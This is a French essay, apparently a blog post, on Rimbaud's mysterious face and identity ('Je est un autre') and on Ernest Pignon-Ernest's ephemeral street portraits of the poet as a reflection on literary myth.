Rimbaud est un poète français du XIXe siècle qui traverse le paysage littéraire comme une comète. Arthur Rimbaud écrit de quinze à vingt ans et cesse brusquement puis, s’en va explorer le monde. Son œuvre est traversée de silences, peuplée d’énigmes, d’images et, représente encore aujourd’hui, un défi pour les lecteurs comme pour les traducteurs.

Les seuls portraits attestés de Rimbaud sont les deux photographies prises par Etienne Carjat. Contrairement à d’autres écrivains (Hugo ou Zola), les photographies le concernant sont très rares et son visage demeure un mystère. La particularité de Rimbaud est toutefois très intéressante. En effet,  son œuvre littéraire est sans cesse associée à son visage qui est pourtant un des plus mystérieux de la littérature. L’identité du poète fascine et son retrait soudain de la littérature accentue cet ensorcellement.

Mais cette distorsion de l’identité n’est pas une pure invention des artistes. Elle est annoncée par Rimbaud dans sa célèbre formule « Je est un autre. » En effet, à première vue, la formule est paradoxale et même, contradictoire. Cette formule identifie le sujet, le moi, c’est-à-dire le pôle où se fixe l’identité de la personne avec son contraire : « un autre » qui serait indéfini, et étranger. Je est, si on suit la logique de cette formule, celui qui n’est pas moi. Rimbaud vient ainsi tordre le sujet et tente de repenser la notion d’identité à travers ce dédoublement. Il semble vain si on se réfère à cette formule d’essayer d’imaginer l’autre en le représentant comme un prolongement de soi.

La figure du poète présente  une plasticité infinie. De nombreux artistes se sont réappropriés Rimbaud (Picasso, Sonia Delaunay, Ernest Pignon-Ernest) et tentent de  redéfinir le visage de l’adolescent fugueur au regard intense. Mais dans les œuvres de plasticiens, c’est en réalité la figure du poète et sa vie qui sont privilégiées à son œuvre. Rimbaud fascine par exemple par sa  corpographie c’est-à-dire, par sa perception et son approche de la ville et plus généralement, des espaces.

Ernest Pignon-Ernest  réalise des dessins de Rimbaud et les installe sur les murs d’où ils semblent surgir. L’artiste crée ainsi un face à face  entre les passants et le visage de Rimbaud. Ces œuvres comme il le révèle,  loin d’être pérennes, sont destinées à disparaître et ces disparitions composent les œuvres au même titre que l’image. L’image entre peu à peu en  décomposition et s’évanouit au fil du temps.

Ernest Pignon-Ernest a recours pour ces installations in-situ à des informations extra-littéraires et décide de s’intéresser à la vie du poète. Le choix des lieux n’est en effet pas anodin puisque, en choisissant Paris, Londres ou encore, Charleville-Mézières, Pignon-Ernest choisit des lieux symboliques. Charleville-Mézières est la ville natale du poète. Paris est sa ville d’accueil, le lieu de ses rencontres poétiques et de sa rencontre décisive avec Verlaine. Rimbaud débarque à Paris à l’automne 1871 sur l’invitation de Verlaine : « Venez chère grande âme ! On vous attend !  » lui écrit-il.  Londres est également un lieu extrêmement symbolique. Rimbaud était parti vivre à Londres en 1872-73 avec Verlaine. En juillet 1873, Verlaine quitte même Londres suite à sa dispute avec Rimbaud.

Malgré une simplicité apparente, ces dessins regorgent  d’informations : ils sont des illuminations au sein de la ville  et mettent en relief les couleurs des murs, les textures de l’espace urbain. En proposant ces œuvres, l’artiste propose en réalité aux marcheurs des parcours poétiques et  temporels. Sur ce travail, le corps est représenté tout entier. Le visage de Rimbaud est accompagné d’un corps longiligne qui n’était pas présent sur les photographies de Carjat. Sur les photographies de Carjat, seul le visage de Rimbaud est visible et c’est, à ce visage extrêmement célèbre, qu’Ernest-Pignon Ernest décide de rajouter un corps. Par cet ajout, ce visage semble retrouver une matérialité.

Des éraflures et des déchirures apparaissent progressivement modifiant le visage du poète. Le support qui fait partie intégrante de l’œuvre finit par contribuer à sa disparition.   Cette sérigraphie se veut en réalité présence et absence à la fois ; elle  s’impose dans la ville et y prend place.  Cet aspect éphémère de l’œuvre qui se détruit et disparait au fil du temps est dans la continuité de la pratique poétique de Rimbaud.  Rimbaud détruit ses systèmes poétiques et tend à disparaître de la poésie.

Ernest Pignon travaille également à travers ces sérigraphies la notion de mythe littéraire et met en avant son évolution à travers le temps. Cette image qui évolue à travers le temps, se détériorant avant de disparaître permet d’interroger de manière très forte les mythes et leurs évolutions temporelles. Que reste-t-il d’un mythe au fil du temps ? Comment le temps l’écorne-t-il et le transforme ? Ce visage n’est pas figé dans un récit unique qu’il lui serait impossible de dépasser mais, suscite au contraire de multiples interprétations artistiques. En reprenant le visage de Rimbaud, les artistes s’emparent  d’une surface plastique sur laquelle ils apposent leur propre je.  L’appropriation de Rimbaud est en réalité une appropriation puis, une transformation. Le visage du poète absorbe l’altérité de celui qui le contemple.

Elise

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